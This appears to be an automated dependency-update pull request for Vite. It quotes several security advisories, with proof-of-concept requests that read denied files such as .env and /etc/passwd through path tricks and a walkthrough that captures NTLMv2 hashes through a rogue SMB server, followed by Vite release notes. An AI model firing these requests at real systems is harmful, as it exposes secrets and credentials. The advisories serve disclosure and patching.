chore(monorepo): update pnpm.catalog.default vite [security] - #198

Details

Summary

Files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• running the dev server on Windows

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173

Severity

• CVSS Score: 6.0 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-93m4-6634-74q7
• https://github.com/vitejs/vite/commit/f479cc57c425ed41ceb434fecebd63931b1ed4ed
• https://nvd.nist.gov/vuln/detail/CVE-2025-62522
• https://github.com/advisories/GHSA-93m4-6634-74q7

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• the sensitive file exists in the allowed directories specified by server.fs.allow
• the sensitive file is denied with a pattern that matches a file by server.fs.deny

Details

On the Vite dev server, files that should be blocked by server.fs.deny (e.g., .env, *.crt) can be retrieved with HTTP 200 responses when query parameters such as ?raw, ?import&raw, or ?import&url&inline are appended.

PoC

1. Start the dev server: pnpm exec vite root --host 127.0.0.1 --port 5175 --strictPort
2. Confirm that server.fs.deny is enforced (expect 403): curl -i http://127.0.0.1:5175/src/.env | head -n 20
   
3. Confirm that the same files can be retrieved with query parameters (expect 200):
   

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-v2wj-q39q-566r
• https://github.com/vitejs/vite/pull/22160
• https://github.com/vitejs/vite/commit/a9a3df299378d9cbc5f069e3536a369f8188c8ff
• https://github.com/vitejs/vite/releases/tag/v7.3.2
• https://github.com/vitejs/vite/releases/tag/v8.0.5
• https://nvd.nist.gov/vuln/detail/CVE-2026-39364
• https://github.com/advisories/GHSA-v2wj-q39q-566r

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

server.fs check was not enforced to the fetchModule method that is exposed in Vite dev server's WebSocket.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• WebSocket is not disabled by server.ws: false

Arbitrary files on the server (development machine, CI environment, container, etc.) can be exposed.

Details

If it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default "...").

The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path.

PoC

1. Start the dev server on the target
   Example (used during validation with this repository):

   pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173

2. Confirm that access is blocked via the HTTP path (example: arbitrary file)

   curl -i 'http://localhost:5173/@fs/etc/passwd?raw'

   Result: 403 Restricted (outside the allow list)
   

3. Confirm that the same file can be retrieved via the WebSocket path
   By connecting to the HMR WebSocket without an Origin header and sending a vite:invoke request that calls fetchModule with a file://... URL and ?raw, the file contents are returned as a JavaScript module.

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583
• https://github.com/vitejs/vite/pull/22159
• https://github.com/vitejs/vite/commit/f02d9fde0b195afe3ea2944414186962fbbe41e0
• https://github.com/vitejs/vite/releases/tag/v6.4.2
• https://github.com/vitejs/vite/releases/tag/v7.3.2
• https://github.com/vitejs/vite/releases/tag/v8.0.5
• https://nvd.nist.gov/vuln/detail/CVE-2026-39363
• https://github.com/advisories/GHSA-p9ff-h696-f583

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

Any files ending with .map even out side the project can be returned to the browser.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• have a sensitive content in files ending with .map and the path is predictable

Details

In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.

PoC

1. Create a minimal PoC sourcemap outside the project root

   cat > /tmp/poc.map <<'EOF'
   {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
   EOF

2. Start the Vite dev server (example)

   pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080

3. Confirm that direct /@fs access is blocked by strict (returns 403)
   
4. Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map
   

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-4w7w-66w2-5vf9
• https://github.com/vitejs/vite/pull/22161
• https://github.com/vitejs/vite/commit/79f002f2286c03c88c7b74c511c7f9fc6dc46694
• https://github.com/vitejs/vite/releases/tag/v6.4.2
• https://github.com/vitejs/vite/releases/tag/v7.3.2
• https://github.com/vitejs/vite/releases/tag/v8.0.5
• https://nvd.nist.gov/vuln/detail/CVE-2026-39365
• https://github.com/advisories/GHSA-4w7w-66w2-5vf9

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• the sensitive file exists in the allowed directories specified by server.fs.allow
• either of:
  • the sensitive file exists in an NTFS volume
  • the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)

Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Access via browser at http://localhost:5173/.env::$DATA?raw

Example expected result:

• /.env::$DATA?raw returns the contents of .env
• /tls.pem::$DATA?raw returns the contents of tls.pem

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-fx2h-pf6j-xcff
• https://nvd.nist.gov/vuln/detail/CVE-2026-53571
• https://github.com/advisories/GHSA-fx2h-pf6j-xcff

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

• using Windows
• NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
• the user accesses the attackers website that sends request to a middleware using launch-editor
• the server that has the middleware using launch-editor is running
• the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

Severity

• CVSS Score: 5.5 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-v6wh-96g9-6wx3
• https://github.com/advisories/GHSA-v6wh-96g9-6wx3

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

v7.3.5

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Please refer to CHANGELOG.md for details.

v7.3.3

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Please refer to CHANGELOG.md for details.

v7.3.2

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Please refer to CHANGELOG.md for details.

v7.3.1

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Please refer to CHANGELOG.md for details.

v7.3.0

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Please refer to CHANGELOG.md for details.

v7.2.7

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v7.2.6

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7.2.6 (2025-12-01)

v7.2.4

Compare Source

Bug Fixes

• revert "perf(deps): replace debug with obug (#​21107)" (2d66b7b)

v7.2.3

Compare Source

Bug Fixes

• allow multiple bindCLIShortcuts calls with shortcut merging (#​21103) (5909efd)
• deps: update all non-major dependencies (#​21096) (6a34ac3)
• deps: update all non-major dependencies (#​21128) (4f8171e)

Performance Improvements

• deps: replace debug with obug (#​21107) (acfe939)

Miscellaneous Chores

• deps: update dependency @​rollup/plugin-commonjs to v29 (#​21099) (02ceaec)
• deps: update rolldown-related dependencies (#​21095) (39a0a15)
• deps: update rolldown-related dependencies (#​21127) (5029720)

v7.2.2

Compare Source

Bug Fixes

• revert "refactor: use fs.cpSync (#​21019)" (#​21081) (728c8ee)

v7.2.1

Compare Source

Bug Fixes

• worker: some worker asset was missing (#​21074) (82d2d6c)

Code Refactoring

• build: rename indexOfMatchInSlice to findPreloadMarker (#​21054) (f83264f)

v7.2.0

Compare Source

Bug Fixes

• css: fallback to sass when sass-embedded platform binary is missing (#​21002) (b1fd616)
• module-runner: make getBuiltins response JSON serializable (#​21029) (ad5b3bf)
• types: add undefined to optional properties for exactOptionalProperties type compatibility (#​21040) (2833c55)

Miscellaneous Chores

• deps: update rolldown-related dependencies (#​21047) (e3a6a83)

v7.1.12

Compare Source

Please refer to CHANGELOG.md for details.

v7.1.11

Compare Source

Bug Fixes

• dev: trim trailing slash before server.fs.deny check (#​20968) (f479cc5)

Miscellaneous Chores

• deps: update all non-major dependencies (#​20966) (6fb41a2)

Code Refactoring

• use subpath imports for types module reference (#​20921) (d0094af)

Build System

• remove cjs reference in files field (#​20945) (ef411ce)
• remove hash from built filenames (#​20946) (a817307)

v7.1.10

Compare Source

Bug Fixes

• css: avoid duplicate style for server rendered stylesheet link and client inline style during dev (#​20767) (3a92bc7)
• css: respect emitAssets when cssCodeSplit=false (#​20883) (d3e7eee)
• deps: update all non-major dependencies (879de86)
• deps: update all non-major dependencies (#​20894) (3213f90)
• dev: allow aliases starting with // (#​20760) (b95fa2a)
• dev: remove timestamp query consistently (#​20887) (6537d15)
• esbuild: inject esbuild helpers correctly for esbuild 0.25.9+ (#​20906) (446eb38)
• normalize path before calling fileToBuiltUrl (#​20898) (73b6d24)
• preserve original sourcemap file field when combining sourcemaps (#​20926) (c714776)

Documentation

• correct WebSocket spelling (#​20890) (29e98dc)

Miscellaneous Chores

• deps: update rolldown-related dependencies (#​20923) (a5e3b06)

v7.1.9

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Reverts

• server: drain stdin when not interactive (#​20885) (12d72b0)

v7.1.8

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Bug Fixes

• css: improve url escape characters handling (#​20847) (24a61a3)
• deps: update all non-major dependencies (#​20855) (788a183)
• deps: update artichokie to 0.4.2 (#​20864) (e670799)
• dev: skip JS responses for document requests (#​20866) (6bc6c4d)
• glob: fix HMR for array patterns with exclusions (#​20872) (63e040f)
• keep ids for virtual modules as-is (#​20808) (d4eca98)
• server: drain stdin when not interactive (#​20837) (bb950e9)
• server: improve malformed URL handling in middlewares (#​20830) (d65a983)

Documentation

• create-vite: provide deno example (#​20747) (fdb758a)

Miscellaneous Chores

• deps: update rolldown-related dependencies (#​20810) (ea68a88)
• deps: update rolldown-related dependencies (#​20854) (4dd06fd)
• update url of create-react-app license (#​20865) (166a178)

v7.1.7

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Bug Fixes

• build: fix ssr environment emitAssets: true when sharedConfigBuild: true (#​20787) (4c4583c)
• client: use CSP nonce when rendering error overlay (#​20791) (9bc9d12)
• deps: update all non-major dependencies (#​20811) (9f2247c)
• glob: handle glob imports from folders starting with dot (#​20800) (105abe8)
• hmr: trigger prune event when import is removed from non hmr module (#​20768) (9f32b1d)
• hmr: wait for import.meta.hot.prune callbacks to complete before running other HMRs (#​20698) (98a3484)

v7.1.6

Compare Source

Bug Fixes

• deps: update all non-major dependencies (#​20773) (88af2ae)
• esbuild: inject esbuild helper functions with minified $ variables correctly (#​20761) (7e8e004)
• fallback terser to main thread when nameCache is provided (#​20750) (a679a64)
• types: strict env typings fail when skipLibCheck is false (#​20755) (cc54e29)

Miscellaneous Chores

• deps: update rolldown-related dependencies (#​20675) (a67bb5f)
• deps: update rolldown-related dependencies (#​20772) (d785e72)